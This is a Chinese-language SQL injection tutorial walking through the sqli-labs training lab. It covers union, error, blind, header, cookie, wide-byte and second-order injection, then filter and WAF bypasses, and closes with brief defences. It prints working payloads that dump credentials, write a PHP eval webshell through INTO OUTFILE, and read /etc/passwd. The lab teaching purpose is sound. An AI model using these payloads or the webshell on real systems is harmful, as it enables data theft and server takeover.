环境准备:docker安装sqli_labs
search找到sqli-labs后,pull下来,运行即可
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8088:80 --rm acgpiano/sqli-labs
- -d Detached 模式(后台运行容器)
- -t 分配伪终端(TTY),即使后台运行也保持 STDIN 开放
- --rm 容器停止时自动删除容器文件系统(避免残留)
一、SQL注入简介
注入流程
- 检测是否存在漏洞
- 手工测试
- 工具扫描
- 探测后台数据库类型、属性
- 采用不同的注入策略进行渗透
- SQL注入
- 数值型、字符型、搜索型、错误型、其他类型
注入原理
- 相信用户输入数据——程序命令和用户数据(即用户输入)之间没有做到泾渭分明
- sql语句拼接——相关参数未经处理直接带入数据库查询操作
获得数据库的管理权限,然后提权至操作系统管理用户权限,最终控制服务器操作系统
经典OR漏洞
万能密码,输入'or 1=1 --
发现输入任何密码都可以登录成功
注入方法
要确定的事
1. 确定web应用程序所使用的技术
注入攻击对程序设计语言或者硬件关系密切
2. 查找注入点
Web应用的用户输入方式比较多
明显的输入
- HTML表单
隐藏的输入
- HTTP头部
- cookics
- 对用户不可见的后端AJax请求
一般来说,所有HTTP的GET和POST都应当作用户输入
为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Bp等
3. 筛选——查找可以用于注入的用户输入
输入方式进行筛选,找出其中可以注入命令的那些输入方式
注入手段
- 手工注入——找到注入点,手工构造输入
- 利用工具注入——流行注入工具sqlmap
可能的注入点
注入点
- http://www.**.com/***.asp?id=X (ASP注入)
- http://www.**.com/*.php?id=X (php注入)
- http://www.**.com/*.jsp?id=X (jsp注入)
- http://www.**.com/**.aspx?id=x (aspx注入)
注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换
- http://www.***.com/index.asp?id=8&page=99
伪静态
- http://www.**.com/index/new/id/8
- http://www.***.com/index/new/php-8.html
检测方法
“单引号”法
如果有报错信息,一定有注入点
and 1 = 1和 1 = 2 法
如果获得的页面不同,一定有注入点
通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型
危害
数据库层面
- 非法读取、篡改、添加、删除数据库中数据
- 盗取用户的各类敏感信息,获取利益
- 通过修改数据库修改网页上的内容
- 私自添加或者删除账号
操作系统层面
- 网页篡改
- 网络挂马
- 服务器远程控制
二、SQL注入实战操作
SQL注入分类
按照注入的网页功能类型
登录注入
cms注入
cms逻辑是index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=
文章id读取id文章
按照注入点值的属性
通过回显判断
数值型
sql = "select * from admin where id=1"
字符串型
sql = "select * from 表 where id = "xx""
按照从服务器返回的内容
- 有回显(基于错误的)
- 无回显(盲注)
按照注入的程度和顺序
- 一阶注入
- 二阶注入
Mysql注入知识
元信息
常用查询
系统相关
user()
: 查看当前Mysql登录用户名database()
: 查看当前Mysql数据库名version()
: 查看当前Mysql版本@@version
@@basedir
: mysql安装环境
字符处理
length()
: 字符串长度substring()
: 截取字符串mid()
: 需要截取的字符串ord
: 返回ASCII码值concat
: 连接字符串
其他操作
group_concat()
: 查询结果放同一行sleep(4)
: 睡眠指定描述limit m,n
: 从m行开始,到m+n行
注释
#和-- 空格 (%20)
--后面必须要有空格,而#后面就不需要
因为使用-注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有
Sql就是这么规定的,不加空格,一直接和系统自动生成的单引号连接在了一起,会被认为是个关键词,无法注释掉系统自动生成的单引号
GET请求
在url中,如果是get请求(记住是get请求,也就是我们在浏览器中输入的url),解释执行的时候
- url中#号是用来指导浏览器动作的,对服务器端无用,所以HTTP请求中不包括#,使用#闭合无法注释
-
- #变成%23
- 使用--(有个空格),在传输过程中空格会被忽略同样导致无法注释,所以在get请求传参注入时会使用
-
- --+ 来闭合,因为+会被解释成空格
- --%20,把空格转换为urlencode编码格式
POST请求
可以直接使用#来进行闭合,常见的就是表单注入,如我们在后台登录框中进行注入。
/**/
内联注释
/*!SQL语句*/只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1
/*!union*//*!select*/
具体注入实操
GET - 基于报错的输入
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠/
来探测URL中是否存在注入点
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入
1. 判断字段数 - order by
以less1为例,请输入带有一个数字的参数ID
可以查出一些无关痛痒的内容
使用order by判断字段数,order by表示按照第几个字段排序
?id=1' order by 3 --+
页面没有异常
?id=1' order by 4 --+
页面出现异常
所以只有三个字段
2. 定位回显位 - union联合注入
id=0时是不会找到数据的
可以构建union select自己来查,union select 1,2,3也可以确定列数,最重要的是看1,2,3这三列的值会在哪里回显,被输出到前端
如果碰到有列类型限制,三列也可以换为字符串、NULL等,主要看回显
UNION SELECT 1, 'test', NULL -- # 用字符串和 NULL 适配不同列类型
这里我们注入?id=0' union select 1,2,3 --+
可以发现2、3字段是会显示出来的,所以可以用这两个字段来窃取数据
3. 窃取数据(脱裤)
3.1. 窃取当前用户、数据库
?id=0' union select 1,user(),database() --+
3.2. 获取所有表名(前置:mysql元信息)
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3.3. 窃取users数据表的字段名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
3.4. 窃取users数据表的具体内容
?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
4. 写入一句话木马 - select into outfile
4.1. 前提
- 需要知道网站的真实路径
- 要求对网站路径有写权限
- 数据库
secure_file_priv
配置为空
-
- 为空表示所有目录都可写入
- 为NULL表示所有目录都不能写入
- 为具体目录表示只能写入此目录
mysql -u root -p # sqlilabs的mysql没有密码
show variables like 'sec%'; # 查看sec相关变量
4.2. 写入木马
192.168.8.133:8088/Less-1/?id=1' union select 1,"<?php eval($_POST['aa']);?>",3 into outfile '/var/www/html/muma.php' --+
<?php eval($_POST['aa']);?>
一句话木马完整内容
4.3. 连接webshell
菜刀或者蚁剑接webshell,url为写入文件的地址,连接密码为POST的内容
成功拿到目标权限
5. 读敏感文件 - load_file
192.168.8.133:8088/Less-1/?id=-1' union select 1,2,load_file('/etc/passwd') --+
POST - 基于报错的输入
注入点位置发生了变化,浏览器无法直接查看与修改
1. 确认闭合方式 - 报错回显
以less11和less12为例,先尝试能否看到报错回显,确认闭合方式
在less11会显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345' LIMIT 0,1' at line 1
可以推测查询语句是select username,password from users where username='admin\' and password='12345'
,username为admin\' and password=
,后面的12345'
的地方就报错了,可以看到闭合是以'
闭合
在less12会显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345") LIMIT 0,1' at line 1
可以看到闭合是以 ")
闭合
2. 万能密码 - 构造闭合
less11,构造闭合尝试使用万能密码登录admin' or 1=1 --
less12,构造闭合尝试使用万能密码登录amdin") or 1=1 --
密码都不用输,成功登录
以下更深一步的查询仅考虑less11
3. 判断字段数 - order by
admin' order by 3#
出错,说明只有两列字段
4. 定位回显位 - union联合注入
' union select user(),database()#
设为空则查询不到信息输出,输出的就是我们想要的信息
盲注
基于时间的盲注 - 通用性更强
利用if(条件,0,1)函数,当条件为真,返回0,当条件为假,返回1
if(1=0,1,sleep(10)) --+
数据库长度if(length(databse())=8,sleep(10),1);
数据库第一个字符转为ascii码if(ascii(substr(database(),1,1))=115,sleep(10),1);
二分法猜解数据库的每一个数据(此时必须转ascii码)
if(ascii(substr(database(),1,1))>N,sleep(10),1);
if(ascii(substr(database(),1,1))=N,sleep(10),1);
if(ascii(substr(database(),1,1))<N,sleep(10),1);
以less9、less10为例
GET - 基于时间的盲注
以less9为例
判断闭合
可能的闭合'
"
)
')
")
此时用\
判断闭合已经无效了,因为没有错误回显
此时使用?id=1' if(1=1,sleep(5),1) --+
判断闭合,成功闭合就会延迟5s
判断字段长度
?id=1' and if(length(database())=8,sleep(3),1) --+
,查看响应时间为3s,所以数据库名长度为8
?id=1' and if(length(database())=8,sleep(3),1) --+
,查看响应时间不为3s
判断字符
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
,查看响应时间为3s,所以数据库名第一个字符的ascii码为115,对应字符为s
相当于?id=1' and if(substr(database(),1,1)='s',sleep(3),1) --+
POST - 基于时间的盲注
以less15为例
过程跟get的过程差不多
与get时间盲注的区别
- get的注入点在url,post的注入点在请求体
- get注入最后注释用
--+
比较好,post注入最后用#
比较好
注入位置选择
- 一般直接在输入框进行注入
- 如果前端屏蔽了字符,则用bp抓包注入
基于布尔的盲注 - 需要页面有变化
猜解字符串
数据库长度select length(databse());
数据库第一个字符select substr(databse(),1,1);
转为ascii码select ascii(substr(database(),1,1));
二分法判断字符
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
GET - 基于布尔的盲注
判断闭合
以less8为例
分别输入?id=1
?id=1'
?id=1\
,查看返回页面是否不同
加'
确认无报错回显但页面显示有不同,确认有注入点
此时使用?id=1' and 1=1 --+
判断闭合,成功闭合就会显示正常
判断字段长度
?id=1' and length(database())=8 --+
,正常显示
?id=1' and length(database())=9 --+
,错误显示
判断字符
?id=1' and ascii(substr(database(),1,1))=115 --+
,判断数据库名第一个字符的ascii码是否为115,正确显示
?id=1' and ascii(substr(database(),1,1))=116 --+
,判断数据库名第一个字符的ascii码是否为116,错误显示
POST - 基于布尔的盲注
以less16为例
过程跟get的过程差不多
与get布尔盲注的区别
- get的注入点在url,post的注入点在请求体
- get注入最后注释用
--+
比较好,post注入最后用#
比较好
注入位置选择
- 一般直接在输入框进行注入
- 如果前端屏蔽了字符,则用bp抓包注入
HTTP头注入
SQL注入用户提交的参数往往会被过滤
但是对HTTP头提交的内容可能没有进行过滤
以less18为例
输出正确的账号密码后发现会回显User Agent
1. 判断注入点/判断闭合
利用burpsuite对User Agent进行尝试注入,在最后加入\
判断注入点以及闭合
2. payload渗透
updatexml(xml_document,xpath_string,new_value)
- 第一个参数:XML文档对象名称
- 第二个参数:XPath字符串
- 第三个参数:替换查找到的符合条件的数据
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
最后这里的设置是为了闭合后面的单引号
Cookie注入
Cookie判断注册用户是否已经登录
在浏览器控制台直接输入document.cookie
即可查询
以less20为例,成功登录后,服务器响应包会发回Set-Cookie
之后再发请求包的时候就带Cookie了
1. 判断注入点/判断闭合
利用burpsuite对Cookie进行尝试注入,在最后加入\
判断注入点以及闭合
2. payload渗透
类似HTTP头注入,唯一的区别是不用闭合最后的单引号,而是直接注释
' and updatexml(1,concat(0x7e,@@version,0x7e),1) --+
宽字节注入
以less33为例
概念
- 单字节字符集:所有的字符都使用一个字节来表示,比如ASCII编码(0-127))
- 多字节字符集:在多字节字符集中,一部分字符用多个字节来表示,另一部分字符(可能没有)用单个字节来表示
宽字节注入是利用Mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等
php中的宽字节
- addslashes()函数——返回在预定义字符之前添加反斜杠的字符串,常用于防止sql注入
- 预定义字符——单引号
'
,双引号"
,反斜杠\
,NULL
<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
输出aiyou\"bu\"cuoo
注入原理
%DF'
在php中addslashes函数转义为%DF\'
,在URL中就会变成%DF%5C%27
,如果网站的字符集是GBK,Mysql使用的编码也是GBK,就会认为%DF%5C%27
是一个宽字符,数据库使用的是GBK编码,PHP编码为UTF8就可能出现宽字节注入
GBK 编码中,%DF%5C
会被解析为一个合法汉字 "運"(Unicode 0xDF5C),导致 反斜杠\
被“吞掉”,剩余的'
未被转义,成功闭合前序 SQL 语句
注入条件
- 数据库使用的是GBK编码
- PHP编码为UTF8,且使用addslashes函数
判断注入点
?id=0' union select 1,2,3 --+
发现单引号'
被转义为了\'
,使用了addslashes函数
?id=0%DF' union select 1,2,3 --+
,或者有输入框输入%DF'
,发现存在宽字节注入点,且注入成功
Update注入
以less17为例
注入原理
只对查询的sql语句进行了过滤,忽略了对update类型的sql语句的过滤
注入条件
Update基本语句
UPDATE table_name SET field1=new-value1,field2=new-value2 [WHERE Clause]
payload渗透
在less17中,由于从源码知道password存在过滤点,页面也有提示重设密码
所以对密码进行update注入,在passwaord栏直接输入
admin' or updatexml(1,concat(0x7e,@@version,0x7e),1)#
二阶注入
以less24为例
概念
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入
与普通注入区别
- 普通注入
-
- 在http后面构造语句,立即直接生效
- 一次注入很容易被扫描工具扫描到
- 二次注入
-
- 先构造语句(有被转义字符的语句)
- 构造的恶意语句存入数据库
- 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
-
- 二次注入更加难以被发现
注入条件
- 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
- 数据库对自己存储的数据非常放心,直接取出恶意数据给用户
插入恶意数据
注册一个admin'-- -
的用户,-- -
中间的空格表示之后的都是注释
引用恶意数据
修改admin'-- -
的密码,在修改密码的SQL语句中,实际上修改了admin
的密码
之后就能直接登录admin的账号了
三、SQL注入绕过操作
常用绕过方式
大小写绕过
通过修改关键字内字母大小写来绕过过滤措施
例如:AnD 1=1
Select from *oRdEr by 1
双写绕过
使用双写绕过。因为在过滤过程中只进行了一次替换,就是将关键字替换为对应的空
比如union在程序员处理时被替换为空,那需要我们可以尝试把unioni改写为Ununionion
,这样红色部分替换为空,则剩下的依然为union
还可以结合大小写过滤一起使用
编码绕过
可以利用网络中的开源的URL在线编码,绕过SQL注入的过滤机制
burpsuite也可以进行编解码
内联注释绕过 - Mysql独有
在Mysq中内联注释中的内容可以被当作SQL语句执行
例如Mysql中执行/*!select*/*from users
绕过方式实操
绕过去除注释符的sql注入
代码分析
preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
执行一个正则表达式的搜索和替换
- $pattern-要搜索的模式,可以是字符串或一个字符串数组
- $replacement-用于替换的字符串或字符串数组
- $subject-要搜索替换的目标字符串或字符串数组
绕过方式
HTTP头注入有类似示例' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
这里以less23为例
利用or '1'='1闭合单引号
直接单引号注入报错,?id=1' --+
,错误信息表示单引号没有闭合
闭合单引号?id=1' or '1'='1
,不会报错
联合查询最后闭合单引号
?id=0' union select 1,2,'3
最后闭合单引号
绕过去除and和or的sql注入
代码分析
绕过方式
以less25为例
?id=1' --+
发现没有剔除掉注释
?id=1'
查看报错
?id=1' and 1=1
,发现报错在1=1出,闭合是单引号'
大小写变形
Or,OR,oR,OR,And,ANd,aND等,代码中大小写不敏感都被剔除
添加注释
在这两个敏感词汇中添加注释
如:a/**/nd
双写绕过
oorr
这里使用?id=1' aandnd 1=1--+
,成功绕过
利用符号替代
and
替换为&&
or
替换为||
这里使用?id=1 && 1=1
,成功绕过
绕过去除空格的sql注入
代码分析
过滤了大部分的方式
绕过方式
以less26为例
编码绕过
URL编码
%20
空格%09
TAB键(水平)%0a
新建一行%0c
新的一页%0d
return功能%0b
TAB键(垂直)
因为闭合和注释,所以尝试闭合单引号
?id=1' and '1'='1
,虽然and被过滤了,但是刚好可以闭合,所以能正确查询
如果使用union,则也要注意闭合单引号
?id=1' union select 1,2,3--+
,这里最后需要换成||'1
或者'3
来闭合
?id=1' union select 1,2,3||'1
,发现空格都被过滤了
url为?id=1%27%20union%20select%201,2,3||%271
,尝试替换成其他的编码,一个个尝试
%09
,?id=1%27%09union%09select%091,2,3||%271
,无效
%0b
,?id=1%27%0bunion%0bselect%0b1,2,3||%271
,成功查询
绕过去除union和select的sql注入
代码分析
绕过方式
以less27为例
代码中发现并没过略所有的union和select,所以可以尝试用大小写绕过
?id=1' UniOn SeLect 1,database(),'3
发现空格被过滤了,用其他编码来代替空格
%09
,?id=0%27%09UniOn%09SeLect%091,database(),%273
,成功绕过
四、SQL注入解决方案
- 对所有可能来自用户输入的数据进行严格的检查
- 数据库配置最小权限原则
- 对进入数据库的特殊字符进行转义处理,或者编码转化
- 数据长度严格规定
- 网站的每个数据层的编码统一,建议全部使用utf-8编码
- 严格限制网站用户的数据库的操作权限
- 避免网站显示sql错误信息
- 网站发布前,建议使用专业的sql注入检测工具检测